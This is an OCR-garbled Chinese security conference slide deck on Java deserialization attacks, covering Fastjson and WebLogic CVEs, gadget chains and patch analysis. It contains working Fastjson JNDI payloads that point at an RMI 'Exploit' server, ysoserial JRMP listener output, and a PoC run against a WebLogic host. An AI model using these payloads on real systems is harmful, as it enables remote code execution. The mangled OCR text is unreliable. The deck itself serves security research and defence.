JavaRFHHEEEX

ZBEFH R EARETE
B#= ( @xxlegend )

B4 it sae

BRE



ok RS RT SE IR = A

e W5 H: webshell#all, & NEFETHr
e BERARMFFE: liaoxinxi[@]nsfocus. comBE

liwenjin[@]nsfocus. com



B9 &mf

 —_— X

e *

- /\. A /\47]
NSFOCUS | A) | gI:I

+  ERFHN REMREIE

. BEEALHIT , Pycon k2T , il
CihERE

« [ARedHat, Apache, Amazon,
Weblogic , fEE#E32Z{pRCERIFIR S

[E% : xxlegend.com




HY It cnaEixs

]




1 REFIEAD

BY it e

lER=



FREF IR 5 1e

» I ERITEIISRE R _HGI BT |, XINCEwriteObject

» REFAEFHER  F G SRIRIERAXISR |, XS EreadObject

* RWVIRSEER,

Al dm

R

<

21k

5 U =

Mz EHERE

B9 &mf

lER=



FIETET\

T & : SerializationDumper
Magicsk : Oxaced
TC_OBJECT:0x73
TC_CLASS:0x72
serialVersionUID

newHandle

B9 It sapiEk

[liaoxinxi.liaoxinxi-PC] » java —jar SEriaiizatinnDumper—vl.ﬂ_nk.jar -r ../ysoserial/ser

STREAM MAGIC - Oxac ed
S5TREAM VERSION - 0x080 05
Lontents
TC OBJECT - 0x73
TC CLASSDESC - 0x72
className
Length - 31 - Ox00 1t
Value - ysoserial.payloads.WrapperClass

- Ox79736T73657269616c2e/061796c6T0164 73

serialVersionUID - Ox06 06 06 06 G0 60 B0 c8

newHandle| Ox00 7e 00 0O
classDescFlags - 0x02 - S5C SERIALIZAELE
fieldCount - @ - Ox00 GO
classAnnotations
TC ENDELOCKDATA - 08x78
superClassDesc
TC NULL - ©x7@
newHandle 0x00 7e 00 01
classdata
ysoserial.payloads .WrapperClass
values

TC OBJECT - ©Ox73



B9 it i

[ERm=

 http=#{, cookie , sesion , FiEL T\ FIEEREbase64 (rO0)
[E4af5/base64 ( Hasl ) |, MIIZ:

. Servlets HTTP , Sockets , Session&1H28 €S9t L EIE
JMX , RMI, JMS , JNDIZE ( \xac\xed )

IT

. xml Xstream, XMLDecoderZ ( HTTP Body : Content-

Type:application/xml )

+ json(Jackson , fastjson) httpiEk+ES
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interaction SequenceDiagramlJI

1 : readObject

’F)P-E,Co )

readClas:
readNoneProx

readProx ,D,zv

1
-y -

readSerialDataf()

invokeReadObject() readOhiec
invokeReadObjectNoData() -c.fdp\_,') r'dd R
readExternalData()-->obj.readExternal() readODbjectNoData

readExternal

AN

7 : readResolveiz
viist. doCallbacks()-->list.obj.validateObject() - validiat j@Ctl

9 : validateObjectiz

- garbage finalj:
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 Ysoserial [REFF1PoCAR
« Marshalsec =& LF5{¥,PoC&ERL
» Freddy burpxFFHCNRTHEE

« Java-Deserialization-Cheat-Sheet
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2 Fastjson Weblogic
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Fastjsonia4

» FastjsonZAlibabaF &R , JavaiEEmERIEIEEEISONE. XA "BREBRF
PREILER" RUELE , EFRlavaiE S HRAYJSONEE,

o IRBERNEEREOto)sonStringFparseObject3sy BISEI A FI R FR5 {4

o HI{¥, User user User( " guest”,2);
String jsonString = JSON.tolSONString(user)

i}%‘ﬁ”ﬂj String jsonString = "{\"name\":\"guest\”,\"age\":12}"
User user = (User)JS0N.parse(jsonString)

®
~
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Fastjson PoC42%

« HFTemplateImpl

« =T JNDI

a) Bean Property2£8Y

b) FieldZ£8Y

c) Demo : https://github.com/shengqil58/fastjson-remote-code-execute-poc
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Fastison22 3

o HTFhashjii=&E)L , A~rJ
- [@EFE , EAEARHE
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—/MoadClassHY$A

PoC~f7l :
{"@type":"com.sun.rowset.JdbcRowSetImpl",

dataSourceName":."rmi://localhost:1099/Exploit”," "autoCommit”:true}

Class<?> loadClass(String className, Classloader classloader) {

1.2. 4389583 /3742 [com.sun.rowset.RowSetImp. (className.charAt(0) ") {

Class<?> componentType = loadClass(className.substring(l), classloader);
Array.newInstance(componentType, @).getClass();

}
1.2 4189583 /3752 Lcom.sun.rowset.RowSetImpl; (className.startsWith("L") className.endsWith(";™)) {
String newClassName className.substring(l, className.length() 1);
1.2. 4289549 /5% LLcom.sum.rowset.RowSetImpl;; loadClass(newClassName, classloader);
}
1

(classloader null) {
clazz classloader.loadClass(className) ;
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HT-ibatis

1.2.45 PoC _'_E;"*U _data_source public class IndiDataSourceFactory implements DataSourceFactory {
public static tinal String DATA_SOURCE = “"data_source”;
{"@type":"org.apache.ibatis.datasource.jndi. public void setProperties(Properties properties) {
. non . n,(n cry {
JndlDal’f'a"Sog.rceFactory., properties { data_ InitialContext initCtx — nulls
source . rml.//IocaIhost.lO99/Epr0|t }} Hashtable env = getEnvProperties(properties);
it (env =— null) {
1n1tCtx = new InitialContext();
} else
1n1tCtx = new InitialContext(env);
.515; 1t (properties.containsKey(DATA SOURCE)) {

dataSource = (DataSource) 1initCix.lookup(properties.getProperty(DATA SOURCE)] ;
}
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CVE-2015-4852

HFT3

IR

HFcommons-collections
org. apache. commons. collections. functorss*

= (O EA £ o i = com. sun. org. apache. xalan. internal. xsltc. trax*
Kﬁa;g _'_1|§§ javassistx

org. codehaus. groovy. runtime. ConvertedClosure
org. codehaus. groovy. runtime. ConversionHandler
org. codehaus. groovy. runtime. MethodClosure

TANR Y

. weblogic. rjvm. InboundMsgAbbrev. class: :ServerChannel InputStream
'ﬂE}EH{LL : |7=_l|3,,\< weblogic. rjvm. MsgAbbrevInputStream. class
weblogic. iiop. Utils. class
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CVE-2016-0638

void readExternal(0ObjectInput wvarl) throws IOException, ClassMNotFoundException {1 Fread EXterna”ﬁ%Dﬂ FEQ%EQ%IE?F}'L%IJ
super.readExternal(varl); 1= ‘ ==

7\ .\

= M

—

_é;ffEAPPH}fIHﬂHfEfPEHm vard ByteArrayInputStream(this.buffer); ReEmgSh B4 . N
ObjectInputStream var5b ObjectInputStream(vard); 2 I ihL:PQHnE}BZE*{TJ‘ObJeCtInpUtStreamj:%}jo

=T M

{ FilteringObjectInputStream
(true) {

this.writeObject(var5.readObject());

} (EOFException wvar9) {

void readExternal(ObjectInput in) throws I0Exception, ClassNotFoundException {
super.readExternal(in);

=T

this.payload (PayloadStream)PayloadFactoryImpl.c eatePayload((InputStream)in);
BufferInputStream 1s = this.payload.getInputStream();

FilteringObjectInputStream ols FilteringObjectInputStream(1is); class FilteringObjectInputStream ObjectInputStream {
FilteringObjectInputStream(InputStream in) I0Exception {
s super(in};
(true) { }
this.writeﬂhject{nis.readﬂhject{}}ﬂ
1 Class<?> resolveClass(java.1io.0bjectStreamClass descriptor) ClassNotFoundException, IOException {
I (EOFException var9) {

String className - descriptor.getName();

(className null className. length() > @ ClassFilter.isBlackListed(className)) {
InvalidClassException("Unauthorized deserialization attempt”, descriptor.getName());
} {

t

super.resolveClass(descriptor);



HFXMLDecoder

B9 &mf

. CVE-2017-3506 I F{EET1FE
. CVE-2017-10271 8350645
- BRIV EHE

. EHFhttpthi¥

= A EpEXMLDecoder&&Hs;
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CVE-2017-3506%p T R 2BREObject

CVE-2017-10271NpRE ¥ B EBHIITHT A

B9 1t i

nrivate void validate(InputStream 1s) {
WeblogicSAXParserFactory ftactory = new WeblogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String wri, String localName, String gName, A
1t (gName.equalsIgnoreCase(“"object™)) {
throw new IllegalStateException( Invalid context type: object™);

¥

private void validate(InputStream 1s) {
WeblogicSAXParserFactory factory = new WeblogicSAXParserFactory();
try {
public void startElement(String uri, String localName, String gName, A
1t ({gName.equalsIgnoreCase("object™)) {
throw new IllegalStateException(”Invalid element gName:object™);
} else if(gName.equalsIgnoreCase( new ) {

} else if(gName.equalsIgnoreCase(“method™)) {

} else {

it (gName .equalsIgnoreCaser "void")) {

i%{ﬁwame.Equalslgnﬂretase{“array"}} 1

ZA



CVE-2017-3248

MresolveClassfM&Z B T BB R

1, MresolveProxyClassiZ& T 258
2, HBIRYKIEPoCHIIEHN T
3, CVE-2018-2628%2

Iy I--L

ivate static class ServerChannelInputStream extends
protected Class|resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundExcept

B9 Ik &x

String className - descriptor.getName();
it(className '= null &% classMame.length() > ©
%% ClassFilter.isBlacklListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt”, descrip

c = super.resolveClass(descriptor);

protected Class<?»| resolveProxyClass(String[] interfaces) throws IOException, ClassNo
String[] arr% = 1ntertaces;
int len$ = interfaces.length;

for(int 1% = 0; 1% < len$%$; ++1%) {
String intft = arr$li%l:
it(1ntf.equals(”java.rmi.registry.Registry™)) {
throw new InvalidObjectException| unauthorized proxy deserialization”);

}

ObjectInputStream implements Serve

!

ZA
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CVE-2018-2628

° x;:g%ﬁCVE_2017_3248 Class<?>» resolveProxyClass(String[] interfaces) I0Exception, C

(int 1% = 0; 1% < len$; ++1%) {
String intf - arr$[i$];

o EFStrea m M essageélt:j-ﬁ:t (intf.equals(”java.rmi.registry.Registry")) {

InvalidObjectException("Unauthorized proxy deserialization™)

» Activator ZI%MNT R N |

weblogic. ms.common.streamMessage

java.rmi.activation.Activator

* Proxy3aEwJmln

RemoteOb ject

TepEndpoint

D ———— o |
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CVE-2018-2628

1, MuxableSocketT3. dispatch
2, InboundMsgAbbrev. readOb ject
3, Ob jectInputStream. readExternalData

4, StreamMessagelImpl. readExternal
b, RemoteOb ject. readOb ject

6, UnicastRef. readExternal
7, LiveRef. read

HashSet.readObject()
HashMap.put()
Proxy(Templates) .equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method. invoke()

TemplatesImpl.getOutputProperties()

JDK7u21 TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
irﬂi_u TemplatesImpl.defineTransletClasses()

Classloader.defineClass()
Class.newInstance()

MaliciousClass.<clinit> ()

Runtime.exec()

B9 &mf

JRMP Listener
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IS
“Croot@Kvmla-20150411777:~# java -cp ysoserial-0.0.5-5NAPSHOT-all.jar ysoserial.exploit..

S =y v
—_LJRMP HEJ’: ' —.J-'T—J' EI:KZ * Opening JRMP listener on 1099

Have connection from /.. .coo.oC.___:0b867
Reading message...

Is DGC call for [[0:0:0, 2047537311]]

Sending return with payload for obj [0:0:0, 2]
Closing connection

1,

?ﬁ.’?’.

SN B h + weblogic python weblogic poc.clientl.py 192.168.3.103 7001
2 'l rmpi{ﬂiﬂ:m\)\ijpoc ! handshake successful
Zifpoc send request payload successful, recv length:1699

192.168.3.1603:70801 is wvul CVE-2018-2628
+ weblogic

. H L 4= Q018-417 TFOIEGH34) ST Error) {IMSClientExceptions) <BEA-055165) {The following exception has sccurred:
3 , weblogiciizts , sHHITHEES

weblogic. jms. common. MessageFormatException: Invalid Type: $ProxyS7

weblogic. jms. common MessageFormatException: Invalid Type: $ProxyS7

st weblogic. jns. common. StresaMessageImpl writelbject (StresaMessagelmpl java 1178)

at weblogic. yms. common. StresaMessagelmpl. readExternal StreamMessagelmpl java:1433)

st java. 10.ObjectInputStiresn. readExternalDate OhiectlnputStrean. 1ava: 1810)

at jave. 10.ObjectInputStresn. readdrdinary0bject (ObjeotInputStrean java: 1768)

at java 10.ObjectInputStream readdbjectl (ObjectinputStress java:1347)

Irmncated. see log file for complete stacktrace
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Weblogiclh1

LT 31MY Bz
maxdepth=100;
\Lo - . lorg.codehaus.groovy.runtime.ConvertedClosure;
-
IXEN gl ﬂX)il-llﬂj'f'tf-- lorg.codehaus.groovy.runtime.ConversionHandler;
lorg.codehaus.groovy.runtime.MethodClosure;

| ° :
JEP290 ( JDK8ul21 , 7ul3l, 6uldl) hz;géfigl;:llz/glg;aargngork.transactlon.support.AbstractPIatformTra

Isun.rmi.server.UnicastRef;
lorg.apache.commons.collections.functors.”;
lcom.sun.org.apache.xalan.internal.xsltc.trax.*;
ljavassist.*

java. 10, Imval1dC]l assException: f1lter status: REJECTED
java. 10. Inval1dC]l assException: f1lter status: REJECTED
at java. 10. 0bjectInputStream. f1lterCheck| )
at jawva. 10. 0bjectInputStream. readlionfroxylesc (0bjectInputStream. java: 1853 )

at java. 10. 0bjectInputStream. readClasslesclbjectInputStream. java:1728)
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=HEJRMP |, RMIZE

71
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Know it.then hack it 7




